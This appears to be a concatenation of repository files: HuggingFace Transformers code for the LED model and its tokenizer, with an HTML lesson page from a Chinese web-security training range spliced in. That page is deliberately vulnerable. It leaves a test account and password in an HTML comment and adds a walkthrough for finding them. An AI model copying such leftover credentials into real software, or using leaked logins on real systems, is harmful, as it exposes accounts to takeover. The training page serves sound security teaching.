decoder_input_ids=decoder_input_ids,
decoder_attention_mask=decoder_attention_mask,
encoder_outputs=encoder_outputs,
global_attention_mask=global_attention_mask,
head_mask=head_mask,
decoder_head_mask=decoder_head_mask,
past_key_values=past_key_values,
inputs_embeds=inputs_embeds,
decoder_inputs_embeds=decoder_inputs_embeds,
use_cache=use_cache,
output_attentions=output_attentions,
output_hidden_states=output_hidden_states,
return_dict=return_dict,
training=training,
)
return outputs
def serving_output(self, output):
pkv = tf.tuple(output.past_key_values)[1] if self.config.use_cache else None
dec_hs = tf.convert_to_tensor(output.decoder_hidden_states) if self.config.output_hidden_states else None
dec_attns = tf.convert_to_tensor(output.decoder_attentions) if self.config.output_attentions else None
cross_attns = tf.convert_to_tensor(output.cross_attentions) if self.config.output_attentions else None
enc_hs = tf.convert_to_tensor(output.encoder_hidden_states) if self.config.output_hidden_states else None
enc_attns = tf.convert_to_tensor(output.encoder_attentions) if self.config.output_attentions else None
enc_g_attns = tf.convert_to_tensor(output.encoder_global_attentions) if self.config.output_attentions else None
return TFLEDSeq2SeqModelOutput(
last_hidden_state=output.last_hidden_state,
past_key_values=pkv,
decoder_hidden_states=dec_hs,
decoder_attentions=dec_attns,
cross_attentions=cross_attns,
encoder_last_hidden_state=output.encoder_last_hidden_state,
encoder_hidden_states=enc_hs,
encoder_attentions=enc_attns,
encoder_global_attentions=enc_g_attns,
)
# Copied from transformers.models.bart.modeling_tf_bart.BiasLayer
class BiasLayer(tf.keras.layers.Layer):
"""
Bias as a layer. It is used for serialization purposes: `tf.keras.Model.save_weights` stores on a per-layer basis,
so all weights have to be registered in a layer.
"""
def __init__(self, shape, initializer, trainable, name, **kwargs):
super().__init__(name=name, **kwargs)
# Note: the name of this variable will NOT be scoped when serialized, i.e. it will not be in the format of
# "outer_layer/inner_layer/.../name:0". Instead, it will be "name:0". For further details, see:
# https://github.com/huggingface/transformers/pull/18833#issuecomment-1233090214
self.bias = self.add_weight(name=name, shape=shape, initializer=initializer, trainable=trainable)
def call(self, x):
return x + self.bias
@add_start_docstrings(
"The LED Model with a language modeling head. Can be used for summarization.",
LED_START_DOCSTRING,
)
class TFLEDForConditionalGeneration(TFLEDPreTrainedModel):
_keys_to_ignore_on_load_unexpected = [
r"led.encoder.embed_tokens.weight",
r"led.decoder.embed_tokens.weight",
]
def __init__(self, config, *inputs, **kwargs):
super().__init__(config, *inputs, **kwargs)
self.led = TFLEDMainLayer(config, name="led")
self.use_cache = config.use_cache
# final_bias_logits is registered as a buffer in pytorch, so not trainable for the sake of consistency.
self.bias_layer = BiasLayer(
name="final_logits_bias", shape=[1, config.vocab_size], initializer="zeros", trainable=False
)
# TODO (Joao): investigate why LED has numerical issues in XLA generate
self.supports_xla_generation = False
def get_decoder(self):
return self.led.decoder
def get_encoder(self):
return self.led.encoder
def get_bias(self):
return {"final_logits_bias": self.bias_layer.bias}
def set_bias(self, value):
# Replaces the existing layers containing bias for correct (de)serialization.
vocab_size = value["final_logits_bias"].shape[-1]
self.bias_layer = BiasLayer(
name="final_logits_bias", shape=[1, vocab_size], initializer="zeros", trainable=False
)
self.bias_layer.bias.assign(value["final_logits_bias"])
def get_output_embeddings(self):
return self.get_input_embeddings()
def set_output_embeddings(self, value):
self.set_input_embeddings(value)
@unpack_inputs
@add_start_docstrings_to_model_forward(LED_INPUTS_DOCSTRING)
@replace_return_docstrings(output_type=TFLEDSeq2SeqLMOutput, config_class=_CONFIG_FOR_DOC)
def call(
self,
input_ids: Optional[TFModelInputType] = None,
attention_mask: Optional[Union[np.ndarray, tf.Tensor]] = None,
decoder_input_ids: Optional[Union[np.ndarray, tf.Tensor]] = None,
decoder_attention_mask: Optional[Union[np.ndarray, tf.Tensor]] = None,
head_mask: Optional[Union[np.ndarray, tf.Tensor]] = None,
decoder_head_mask: Optional[Union[np.ndarray, tf.Tensor]] = None,
encoder_outputs: Optional[TFLEDEncoderBaseModelOutput] = None,
global_attention_mask: Optional[Union[np.ndarray, tf.Tensor]] = None,
past_key_values: Optional[Tuple[Tuple[Union[np.ndarray, tf.Tensor]]]] = None,
inputs_embeds: Optional[Union[np.ndarray, tf.Tensor]] = None,
decoder_inputs_embeds: Optional[Union[np.ndarray, tf.Tensor]] = None,
use_cache: Optional[bool] = None,
output_attentions: Optional[bool] = None,
output_hidden_states: Optional[bool] = None,
return_dict: Optional[bool] = None,
labels: Optional[tf.Tensor] = None,
training: bool = False,
):
"""
Returns:
Examples:
```python
>>> from transformers import AutoTokenizer, TFLEDForConditionalGeneration
>>> import tensorflow as tf
>>> mname = "allenai/led-base-16384"
>>> tokenizer = AutoTokenizer.from_pretrained(mname)
>>> TXT = "My friends are <mask> but they eat too many carbs."
>>> model = TFLEDForConditionalGeneration.from_pretrained(mname)
>>> batch = tokenizer([TXT], return_tensors="tf")
>>> logits = model(inputs=batch.input_ids).logits
>>> probs = tf.nn.softmax(logits[0])
>>> # probs[5] is associated with the mask token
```"""
if labels is not None:
use_cache = False
if decoder_input_ids is None and decoder_inputs_embeds is None:
decoder_input_ids = shift_tokens_right(
labels, self.config.pad_token_id, self.config.decoder_start_token_id
)
outputs = self.led(
input_ids,
attention_mask=attention_mask,
decoder_input_ids=decoder_input_ids,
decoder_attention_mask=decoder_attention_mask,
encoder_outputs=encoder_outputs,
global_attention_mask=global_attention_mask,
head_mask=head_mask,
decoder_head_mask=decoder_head_mask,
past_key_values=past_key_values,
inputs_embeds=inputs_embeds,
decoder_inputs_embeds=decoder_inputs_embeds,
use_cache=use_cache,
output_attentions=output_attentions,
output_hidden_states=output_hidden_states,
return_dict=return_dict,
training=training,
)
lm_logits = tf.matmul(outputs[0], self.led.shared.weights, transpose_b=True)
lm_logits = self.bias_layer(lm_logits)
masked_lm_loss = None if labels is None else self.hf_compute_loss(labels, lm_logits)
if not return_dict:
output = (lm_logits,) + outputs[1:]
return ((masked_lm_loss,) + output) if masked_lm_loss is not None else output
return TFLEDSeq2SeqLMOutput(
loss=masked_lm_loss,
logits=lm_logits,
past_key_values=outputs.past_key_values, # index 1 of d outputs
decoder_hidden_states=outputs.decoder_hidden_states, # index 2 of d outputs
decoder_attentions=outputs.decoder_attentions, # index 3 of d outputs
cross_attentions=outputs.cross_attentions, # index 4 of d outputs
encoder_last_hidden_state=outputs.encoder_last_hidden_state, # index 0 of encoder outputs
encoder_hidden_states=outputs.encoder_hidden_states, # 1 of e out
encoder_attentions=outputs.encoder_attentions, # 2 of e out
encoder_global_attentions=outputs.encoder_global_attentions,
)
def serving_output(self, output):
pkv = tf.tuple(output.past_key_values)[1] if self.config.use_cache else None
dec_hs = tf.convert_to_tensor(output.decoder_hidden_states) if self.config.output_hidden_states else None
dec_attns = tf.convert_to_tensor(output.decoder_attentions) if self.config.output_attentions else None
cross_attns = tf.convert_to_tensor(output.cross_attentions) if self.config.output_attentions else None
enc_hs = tf.convert_to_tensor(output.encoder_hidden_states) if self.config.output_hidden_states else None
enc_attns = tf.convert_to_tensor(output.encoder_attentions) if self.config.output_attentions else None
enc_g_attns = tf.convert_to_tensor(output.encoder_global_attentions) if self.config.output_attentions else None
return TFLEDSeq2SeqLMOutput(
logits=output.logits,
past_key_values=pkv,
decoder_hidden_states=dec_hs,
decoder_attentions=dec_attns,
cross_attentions=cross_attns,
encoder_last_hidden_state=output.encoder_last_hidden_state,
encoder_hidden_states=enc_hs,
encoder_attentions=enc_attns,
encoder_global_attentions=enc_g_attns,
)
def prepare_inputs_for_generation(
self,
decoder_input_ids,
past_key_values=None,
attention_mask=None,
head_mask=None,
decoder_head_mask=None,
use_cache=None,
encoder_outputs=None,
**kwargs,
):
# cut decoder_input_ids if past is used
if past_key_values is not None:
decoder_input_ids = decoder_input_ids[:, -1:]
return {
"input_ids": None, # encoder_outputs is defined. input_ids not needed
"encoder_outputs": encoder_outputs,
"past_key_values": past_key_values,
"decoder_input_ids": decoder_input_ids,
"attention_mask": attention_mask,
"head_mask": head_mask,
"decoder_head_mask": decoder_head_mask,
"use_cache": use_cache, # change this to avoid caching (presumably for debugging)
}
def prepare_decoder_input_ids_from_labels(self, labels: tf.Tensor):
return shift_tokens_right(labels, self.config.pad_token_id, self.config.decoder_start_token_id)
def hf_compute_loss(self, labels, logits):
"""CrossEntropyLoss that ignores pad tokens"""
loss_fn = tf.keras.losses.SparseCategoricalCrossentropy(
from_logits=True, reduction=tf.keras.losses.Reduction.NONE
)
if self.config.tf_legacy_loss:
melted_labels = tf.reshape(labels, (-1,))
active_loss = tf.not_equal(melted_labels, self.config.pad_token_id)
reduced_logits = tf.boolean_mask(tf.reshape(logits, (-1, shape_list(logits)[2])), active_loss)
labels = tf.boolean_mask(melted_labels, active_loss)
return loss_fn(labels, reduced_logits)
# Clip negative labels to zero here to avoid NaNs and errors - those positions will get masked later anyway
unmasked_loss = loss_fn(tf.nn.relu(labels), logits)
# make sure only non-padding labels affect the loss
loss_mask = tf.cast(labels != self.config.pad_token_id, dtype=unmasked_loss.dtype)
masked_loss = unmasked_loss * loss_mask
reduced_masked_loss = tf.reduce_sum(masked_loss) / tf.reduce_sum(loss_mask)
return tf.reshape(reduced_masked_loss, (1,))
|
27182812/ChatGLM-LLaMA-chinese-insturct | 20,394 | src/transformers/models/led/tokenization_led.py | # coding=utf-8
# Copyright 2021 Iz Beltagy, Matthew E. Peters, Arman Cohan and The HuggingFace Inc. team. All rights reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""Tokenization classes for LED."""
import json
import os
from functools import lru_cache
from typing import Dict, List, Optional, Tuple, Union
import regex as re
from ...tokenization_utils import AddedToken, PreTrainedTokenizer
from ...tokenization_utils_base import BatchEncoding, EncodedInput
from ...utils import PaddingStrategy, logging
logger = logging.get_logger(__name__)
VOCAB_FILES_NAMES = {"vocab_file": "vocab.json", "merges_file": "merges.txt"}
# See all LED models at https://huggingface.co/models?filter=LED
PRETRAINED_VOCAB_FILES_MAP = {
"vocab_file": {
"allenai/led-base-16384": "https://huggingface.co/allenai/led-base-16384/resolve/main/vocab.json",
},
"merges_file": {
"allenai/led-base-16384": "https://huggingface.co/allenai/led-base-16384/resolve/main/merges.txt",
},
"tokenizer_file": {
"allenai/led-base-16384": "https://huggingface.co/allenai/led-base-16384/resolve/main/tokenizer.json",
},
}
PRETRAINED_POSITIONAL_EMBEDDINGS_SIZES = {
"allenai/led-base-16384": 16384,
}
@lru_cache()
# Copied from transformers.models.bart.tokenization_bart.bytes_to_unicode
def bytes_to_unicode():
"""
Returns list of utf-8 byte and a mapping to unicode strings. We specifically avoids mapping to whitespace/control
characters the bpe code barfs on.
The reversible bpe codes work on unicode strings. This means you need a large # of unicode characters in your vocab
if you want to avoid UNKs. When you're at something like a 10B token dataset you end up needing around 5K for
decent coverage. This is a significant percentage of your normal, say, 32K bpe vocab. To avoid that, we want lookup
tables between utf-8 bytes and unicode strings.
"""
bs = (
list(range(ord("!"), ord("~") + 1)) + list(range(ord("¡"), ord("¬") + 1)) + list(range(ord("®"), ord("ÿ") + 1))
)
cs = bs[:]
n = 0
for b in range(2**8):
if b not in bs:
bs.append(b)
cs.append(2**8 + n)
n += 1
cs = [chr(n) for n in cs]
return dict(zip(bs, cs))
# Copied from transformers.models.bart.tokenization_bart.get_pairs
def get_pairs(word):
"""
Return set of symbol pairs in a word.
Word is represented as tuple of symbols (symbols being variable-length strings).
"""
pairs = set()
prev_char = word[0]
for char in word[1:]:
pairs.add((prev_char, char))
prev_char = char
return pairs
class LEDTokenizer(PreTrainedTokenizer):
"""
Constructs a LED tokenizer, which is smilar to the ROBERTa tokenizer, using byte-level Byte-Pair-Encoding.
This tokenizer has been trained to treat spaces like parts of the tokens (a bit like sentencepiece) so a word will
be encoded differently whether it is at the beginning of the sentence (without space) or not:
```
>>> from transformers import LEDTokenizer
>>> tokenizer = LEDTokenizer.from_pretrained("allenai/led-base-16384")
>>> tokenizer("Hello world")['input_ids']
[0, 31414, 232, 2]
>>> tokenizer(" Hello world")['input_ids']
[0, 20920, 232, 2]
```
You can get around that behavior by passing `add_prefix_space=True` when instantiating this tokenizer or when you
call it on some text, but since the model was not pretrained this way, it might yield a decrease in performance.
<Tip>
When used with `is_split_into_words=True`, this tokenizer will add a space before each word (even the first one).
</Tip>
This tokenizer inherits from [`PreTrainedTokenizer`] which contains most of the main methods. Users should refer to
this superclass for more information regarding those methods.
Args:
vocab_file (`str`):
Path to the vocabulary file.
merges_file (`str`):
Path to the merges file.
errors (`str`, *optional*, defaults to `"replace"`):
Paradigm to follow when decoding bytes to UTF-8. See
[bytes.decode](https://docs.python.org/3/library/stdtypes.html#bytes.decode) for more information.
bos_token (`str`, *optional*, defaults to `"<s>"`):
The beginning of sequence token that was used during pretraining. Can be used a sequence classifier token.
<Tip>
When building a sequence using special tokens, this is not the token that is used for the beginning of
sequence. The token used is the `cls_token`.
</Tip>
eos_token (`str`, *optional*, defaults to `"</s>"`):
The end of sequence token.
<Tip>
When building a sequence using special tokens, this is not the token that is used for the end of sequence.
The token used is the `sep_token`.
</Tip>
sep_token (`str`, *optional*, defaults to `"</s>"`):
The separator token, which is used when building a sequence from multiple sequences, e.g. two sequences for
sequence classification or for a text and a question for question answering. It is also used as the last
token of a sequence built with special tokens.
cls_token (`str`, *optional*, defaults to `"<s>"`):
The classifier token which is used when doing sequence classification (classification of the whole sequence
instead of per-token classification). It is the first token of the sequence when built with special tokens.
unk_token (`str`, *optional*, defaults to `"<unk>"`):
The unknown token. A token that is not in the vocabulary cannot be converted to an ID and is set to be this
token instead.
pad_token (`str`, *optional*, defaults to `"<pad>"`):
The token used for padding, for example when batching sequences of different lengths.
mask_token (`str`, *optional*, defaults to `"<mask>"`):
The token used for masking values. This is the token used when training this model with masked language
modeling. This is the token which the model will try to predict.
add_prefix_space (`bool`, *optional*, defaults to `False`):
Whether or not to add an initial space to the input. This allows to treat the leading word just as any
other word. (BART tokenizer detect beginning of words by the preceding space).
"""
vocab_files_names = VOCAB_FILES_NAMES
pretrained_vocab_files_map = PRETRAINED_VOCAB_FILES_MAP
max_model_input_sizes = PRETRAINED_POSITIONAL_EMBEDDINGS_SIZES
model_input_names = ["input_ids", "attention_mask"]
# Copied from transformers.models.bart.tokenization_bart.BartTokenizer.__init__
def __init__(
self,
vocab_file,
merges_file,
errors="replace",
bos_token="<s>",
eos_token="</s>",
sep_token="</s>",
cls_token="<s>",
unk_token="<unk>",
pad_token="<pad>",
mask_token="<mask>",
add_prefix_space=False,
**kwargs,
):
bos_token = AddedToken(bos_token, lstrip=False, rstrip=False) if isinstance(bos_token, str) else bos_token
eos_token = AddedToken(eos_token, lstrip=False, rstrip=False) if isinstance(eos_token, str) else eos_token
sep_token = AddedToken(sep_token, lstrip=False, rstrip=False) if isinstance(sep_token, str) else sep_token
cls_token = AddedToken(cls_token, lstrip=False, rstrip=False) if isinstance(cls_token, str) else cls_token
unk_token = AddedToken(unk_token, lstrip=False, rstrip=False) if isinstance(unk_token, str) else unk_token
pad_token = AddedToken(pad_token, lstrip=False, rstrip=False) if isinstance(pad_token, str) else pad_token
# Mask token behave like a normal word, i.e. include the space before it
mask_token = AddedToken(mask_token, lstrip=True, rstrip=False) if isinstance(mask_token, str) else mask_token
super().__init__(
errors=errors,
bos_token=bos_token,
eos_token=eos_token,
unk_token=unk_token,
sep_token=sep_token,
cls_token=cls_token,
pad_token=pad_token,
mask_token=mask_token,
add_prefix_space=add_prefix_space,
**kwargs,
)
with open(vocab_file, encoding="utf-8") as vocab_handle:
self.encoder = json.load(vocab_handle)
self.decoder = {v: k for k, v in self.encoder.items()}
self.errors = errors # how to handle errors in decoding
self.byte_encoder = bytes_to_unicode()
self.byte_decoder = {v: k for k, v in self.byte_encoder.items()}
with open(merges_file, encoding="utf-8") as merges_handle:
bpe_merges = merges_handle.read().split("\n")[1:-1]
bpe_merges = [tuple(merge.split()) for merge in bpe_merges]
self.bpe_ranks = dict(zip(bpe_merges, range(len(bpe_merges))))
self.cache = {}
self.add_prefix_space = add_prefix_space
# Should have added re.IGNORECASE so BPE merges can happen for capitalized versions of contractions
self.pat = re.compile(r"""'s|'t|'re|'ve|'m|'ll|'d| ?\p{L}+| ?\p{N}+| ?[^\s\p{L}\p{N}]+|\s+(?!\S)|\s+""")
@property
# Copied from transformers.models.bart.tokenization_bart.BartTokenizer.vocab_size
def vocab_size(self):
return len(self.encoder)
# Copied from transformers.models.bart.tokenization_bart.BartTokenizer.get_vocab
def get_vocab(self):
return dict(self.encoder, **self.added_tokens_encoder)
# Copied from transformers.models.bart.tokenization_bart.BartTokenizer.bpe
def bpe(self, token):
if token in self.cache:
return self.cache[token]
word = tuple(token)
pairs = get_pairs(word)
if not pairs:
return token
while True:
bigram = min(pairs, key=lambda pair: self.bpe_ranks.get(pair, float("inf")))
if bigram not in self.bpe_ranks:
break
first, second = bigram
new_word = []
i = 0
while i < len(word):
try:
j = word.index(first, i)
except ValueError:
new_word.extend(word[i:])
break
else:
new_word.extend(word[i:j])
i = j
if word[i] == first and i < len(word) - 1 and word[i + 1] == second:
new_word.append(first + second)
i += 2
else:
new_word.append(word[i])
i += 1
new_word = tuple(new_word)
word = new_word
if len(word) == 1:
break
else:
pairs = get_pairs(word)
word = " ".join(word)
self.cache[token] = word
return word
# Copied from transformers.models.bart.tokenization_bart.BartTokenizer._tokenize
def _tokenize(self, text):
"""Tokenize a string."""
bpe_tokens = []
for token in re.findall(self.pat, text):
token = "".join(
self.byte_encoder[b] for b in token.encode("utf-8")
) # Maps all our bytes to unicode strings, avoiding control tokens of the BPE (spaces in our case)
bpe_tokens.extend(bpe_token for bpe_token in self.bpe(token).split(" "))
return bpe_tokens
# Copied from transformers.models.bart.tokenization_bart.BartTokenizer._convert_token_to_id
def _convert_token_to_id(self, token):
"""Converts a token (str) in an id using the vocab."""
return self.encoder.get(token, self.encoder.get(self.unk_token))
# Copied from transformers.models.bart.tokenization_bart.BartTokenizer._convert_id_to_token
def _convert_id_to_token(self, index):
"""Converts an index (integer) in a token (str) using the vocab."""
return self.decoder.get(index)
# Copied from transformers.models.bart.tokenization_bart.BartTokenizer.convert_tokens_to_string
def convert_tokens_to_string(self, tokens):
"""Converts a sequence of tokens (string) in a single string."""
text = "".join(tokens)
text = bytearray([self.byte_decoder[c] for c in text]).decode("utf-8", errors=self.errors)
return text
# Copied from transformers.models.bart.tokenization_bart.BartTokenizer.save_vocabulary
def save_vocabulary(self, save_directory: str, filename_prefix: Optional[str] = None) -> Tuple[str]:
if not os.path.isdir(save_directory):
logger.error(f"Vocabulary path ({save_directory}) should be a directory")
return
vocab_file = os.path.join(
save_directory, (filename_prefix + "-" if filename_prefix else "") + VOCAB_FILES_NAMES["vocab_file"]
)
merge_file = os.path.join(
save_directory, (filename_prefix + "-" if filename_prefix else "") + VOCAB_FILES_NAMES["merges_file"]
)
with open(vocab_file, "w", encoding="utf-8") as f:
f.write(json.dumps(self.encoder, indent=2, sort_keys=True, ensure_ascii=False) + "\n")
index = 0
with open(merge_file, "w", encoding="utf-8") as writer:
writer.write("#version: 0.2\n")
for bpe_tokens, token_index in sorted(self.bpe_ranks.items(), key=lambda kv: kv[1]):
if index != token_index:
logger.warning(
f"Saving vocabulary to {merge_file}: BPE merge indices are not consecutive."
" Please check that the tokenizer is not corrupted!"
)
index = token_index
writer.write(" ".join(bpe_tokens) + "\n")
index += 1
return vocab_file, merge_file
# Copied from transformers.models.bart.tokenization_bart.BartTokenizer.build_inputs_with_special_tokens with BART->LED
def build_inputs_with_special_tokens(
self, token_ids_0: List[int], token_ids_1: Optional[List[int]] = None
) -> List[int]:
"""
Build model inputs from a sequence or a pair of sequence for sequence classification tasks by concatenating and
adding special tokens. A LED sequence has the following format:
- single sequence: `<s> X </s>`
- pair of sequences: `<s> A </s></s> B </s>`
Args:
token_ids_0 (`List[int]`):
List of IDs to which the special tokens will be added.
token_ids_1 (`List[int]`, *optional*):
Optional second list of IDs for sequence pairs.
Returns:
`List[int]`: List of [input IDs](../glossary#input-ids) with the appropriate special tokens.
"""
if token_ids_1 is None:
return [self.cls_token_id] + token_ids_0 + [self.sep_token_id]
cls = [self.cls_token_id]
sep = [self.sep_token_id]
return cls + token_ids_0 + sep + sep + token_ids_1 + sep
# Copied from transformers.models.bart.tokenization_bart.BartTokenizer.get_special_tokens_mask
def get_special_tokens_mask(
self, token_ids_0: List[int], token_ids_1: Optional[List[int]] = None, already_has_special_tokens: bool = False
) -> List[int]:
"""
Retrieve sequence ids from a token list that has no special tokens added. This method is called when adding
special tokens using the tokenizer `prepare_for_model` method.
Args:
token_ids_0 (`List[int]`):
List of IDs.
token_ids_1 (`List[int]`, *optional*):
Optional second list of IDs for sequence pairs.
already_has_special_tokens (`bool`, *optional*, defaults to `False`):
Whether or not the token list is already formatted with special tokens for the model.
Returns:
`List[int]`: A list of integers in the range [0, 1]: 1 for a special token, 0 for a sequence token.
"""
if already_has_special_tokens:
return super().get_special_tokens_mask(
token_ids_0=token_ids_0, token_ids_1=token_ids_1, already_has_special_tokens=True
)
if token_ids_1 is None:
return [1] + ([0] * len(token_ids_0)) + [1]
return [1] + ([0] * len(token_ids_0)) + [1, 1] + ([0] * len(token_ids_1)) + [1]
# Copied from transformers.models.bart.tokenization_bart.BartTokenizer.create_token_type_ids_from_sequences with BART->LED
def create_token_type_ids_from_sequences(
self, token_ids_0: List[int], token_ids_1: Optional[List[int]] = None
) -> List[int]:
"""
Create a mask from the two sequences passed to be used in a sequence-pair classification task. LED does not
make use of token type ids, therefore a list of zeros is returned.
Args:
token_ids_0 (`List[int]`):
List of IDs.
token_ids_1 (`List[int]`, *optional*):
Optional second list of IDs for sequence pairs.
Returns:
`List[int]`: List of zeros.
"""
sep = [self.sep_token_id]
cls = [self.cls_token_id]
if token_ids_1 is None:
return len(cls + token_ids_0 + sep) * [0]
return len(cls + token_ids_0 + sep + sep + token_ids_1 + sep) * [0]
# Copied from transformers.models.bart.tokenization_bart.BartTokenizer.prepare_for_tokenization
def prepare_for_tokenization(self, text, is_split_into_words=False, **kwargs):
add_prefix_space = kwargs.pop("add_prefix_space", self.add_prefix_space)
if (is_split_into_words or add_prefix_space) and (len(text) > 0 and not text[0].isspace()):
text = " " + text
return (text, kwargs)
def _pad(
self,
encoded_inputs: Union[Dict[str, EncodedInput], BatchEncoding],
max_length: Optional[int] = None,
padding_strategy: PaddingStrategy = PaddingStrategy.DO_NOT_PAD,
pad_to_multiple_of: Optional[int] = None,
return_attention_mask: Optional[bool] = None,
) -> dict:
encoded_inputs = super()._pad(
encoded_inputs=encoded_inputs,
max_length=max_length,
padding_strategy=padding_strategy,
pad_to_multiple_of=pad_to_multiple_of,
return_attention_mask=return_attention_mask,
)
# Load from model defaults
if return_attention_mask is None:
return_attention_mask = "attention_mask" in self.model_input_names
if return_attention_mask and "global_attention_mask" in encoded_inputs:
required_input = encoded_inputs[self.model_input_names[0]]
# `global_attention_mask` need to have the same length as other (sequential) inputs.
needs_to_be_padded = len(encoded_inputs["global_attention_mask"]) != len(required_input)
if needs_to_be_padded:
difference = len(required_input) - len(encoded_inputs["global_attention_mask"])
if self.padding_side == "right":
# Use `-1` since `0` in `global_attention_mask` means `local attention` instead of `not to attend`
encoded_inputs["global_attention_mask"] = (
encoded_inputs["global_attention_mask"] + [-1] * difference
)
elif self.padding_side == "left":
encoded_inputs["global_attention_mask"] = [-1] * difference + encoded_inputs[
"global_attention_mask"
]
else:
raise ValueError("Invalid padding strategy:" + str(self.padding_side))
return encoded_inputs
|
2740908911/Pilot-Web | 6,917 | pilot-client/pages/infoleak/account_info.html | <!DOCTYPE html>
<html lang="zh">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>敏感信息泄露-账户信息泄露</title>
<link rel="stylesheet" href="../../plugins/googleapis/fonts.css">
<link rel="stylesheet" href="../../plugins/fontawesome-free/css/all.min.css">
<link rel="stylesheet" href="../../plugins/overlayScrollbars/css/OverlayScrollbars.min.css">
<link rel="stylesheet" href="../../dist/css/adminlte.min.css">
</head>
<body class="hold-transition light-mode sidebar-mini layout-fixed layout-navbar-fixed layout-footer-fixed">
<div class="wrapper">
<nav id="Navbar" class="main-header navbar navbar-expand navbar-light"></nav>
<aside id="Container" class="main-sidebar sidebar-light-primary elevation-4"></aside>
<div class="content-wrapper" id="Wrapper">
<section class="content-header" id="WrapperHeader"></section>
<section class="content">
<div class="container-fluid">
<div id="notice"></div>
<div class="card card-primary card-outline">
<div class="card-header">
<h3 class="card-title"><strong>账户信息泄露</strong></h3>
</div>
<div class="card-body">
<div class="card card-primary">
<blockquote>
<p>本页面包含了一个泄露个人账户相关信息的漏洞!可以点击右上角<strong>[知识梳理]</strong>查看漏洞分类喔!</p>
</blockquote>
</div>
<div class="card card-secondary">
<div class="card-header">
<h3 class="card-title">管理员登录</h3>
</div>
<form action="" onsubmit="return false" id="Login">
<div class="card-body">
<div class="form-group">
<label for="username">用户名</label>
<input type="text" class="form-control" name="username" id="username" placeholder="Enter username or phone number">
</div>
<div class="form-group">
<label for="password">密码</label>
<input type="password" class="form-control" name="password" id="password" placeholder="Password">
</div>
</div>
<!-- 后端临时测试账号:pilottest123/fanqie@123 -->
<div class="card-footer">
<button type="submit" id="loginButton" class="btn btn-primary" onclick="doLogin()">登录</button>
</div>
</form>
</div>
</div>
</div>
<div class="card card-warning card-outline" id="hint">
<div class="card-header">
<h3 class="card-title"><strong>思路提示</strong></h3>
</div>
<div class="card-body">
<div>
<ul><li>注意登录口的颜色与前面不同喔!!</li></ul>
</div>
</div>
</div>
<div class="card card-success card-outline" id="writeUp">
<div class="card-header">
<h3 class="card-title"><strong>正确实现</strong></h3>
</div>
<div class="card-body">
<ol start=""><li><p><span>进入漏洞页面,可以注意到此处的登陆口不同于前面部分,尝试登录系统存在账号,发现无法登录:</span></p><p><div class="card col-lg-11 col-xl-11"><img src="assist/l3-1.png" referrerpolicy="no-referrer" alt="l3-1"></div></p></li><li><p><span>根据漏洞名,可以判断账户信息可能通过某处泄露。对该页面抓包检查:</span></p><p><div class="card col-lg-11 col-xl-11"><img src="assist/l3-2.png" referrerpolicy="no-referrer" alt="l3-2"></div></p></li><li><p><span>在HTML页面中,发现了注释遗留的测试账号信息,可以成功进行登录:</span></p><p><div class="card col-lg-11 col-xl-11"><img src="assist/l3-3.png" referrerpolicy="no-referrer" alt="l3-3"></div></p></li></ol>
</div>
</div>
<div class="card card-info card-outline" id="showSource">
<div class="card-header">
<h3 class="card-title"><strong>源码解析</strong></h3>
</div>
<div class="card-body">
<ul style="margin-bottom: 0;"><li>F12或右键查看本题源代码</li></ul>
</div>
</div>
<div class="card card-orange card-outline" id="repository">
<div class="card-header">
<h3 class="card-title"><strong>知识梳理</strong></h3>
</div>
<div class="card-body">
<div style="padding-top: 0%; padding-bottom: 0%;"><object type="text/html" data="assist/sum-3.html" width="100%" height="1280px"></object></div>
</div>
</div>
</div>
</section>
</div>
</div>
<aside class="control-sidebar control-sidebar-dark">
<!-- Control sidebar content goes here -->
</aside>
<footer class="main-footer"></footer>
<script src="../../dist/js/templateHandle.js"></script>
<script>
setWrapperHeader("敏感信息泄露", ["账户信息泄露"]);
</script>
<script src="../../plugins/jquery/jquery.min.js"></script>
<script src="../../plugins/bootstrap/js/bootstrap.bundle.min.js"></script>
<script src="../../plugins/overlayScrollbars/js/jquery.overlayScrollbars.min.js"></script>
<script src="../../dist/js/adminlte.js"></script>
<script>
function doLogin(){
let data = {
username: $("#username")[0].value,
password: $("#password")[0].value,
}
$.post({
url: `http://{ENV:NET_IP}:{ENV:FLASK_PORT}/api/il/l3/login`,
data,
dataType: "json",
success(resp){
if(resp["status"] === "200"){
$("#notice")[0].innerHTML = generateNote("登录成功!欢迎, " + resp["username"]);
$("#loginButton").prop('disabled', true);
} else if(resp["status"] === "405"){
$("#notice")[0].innerHTML = generateNote("登录失败:" + resp["msg"]);
} else if(resp["status"] === "401"){
$("#notice")[0].innerHTML = generateNote("登录失败:" + resp["msg"]);
}
},
error: function(jqXHR, textStatus, errorThrown) {
// 添加错误处理
$("#notice")[0].innerHTML = generateNote("发生错误:" + textStatus + ", " + errorThrown);
}
})
}
</script>
</body>
</html>
|
27182812/ChatGLM-LLaMA-chinese-insturct | 14,863 | src/transformers/models/led/tokenization_led_fast.py | # coding=utf-8
# Copyright 2021 Iz Beltagy, Matthew E. Peters, Arman Cohan and The HuggingFace Inc. team. All rights reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""Tokenization classes for LED."""
import json
from typing import Dict, List, Optional, Tuple, Union
from tokenizers import pre_tokenizers, processors
from ...tokenization_utils_base import AddedToken, BatchEncoding, EncodedInput
from ...tokenization_utils_fast import PreTrainedTokenizerFast
from ...utils import PaddingStrategy, logging
from .tokenization_led import LEDTokenizer
logger = logging.get_logger(__name__)
VOCAB_FILES_NAMES = {"vocab_file": "vocab.json", "merges_file": "merges.txt", "tokenizer_file": "tokenizer.json"}
PRETRAINED_VOCAB_FILES_MAP = {
"vocab_file": {
"allenai/led-base-16384": "https://huggingface.co/allenai/led-base-16384/resolve/main/vocab.json",
},
"merges_file": {
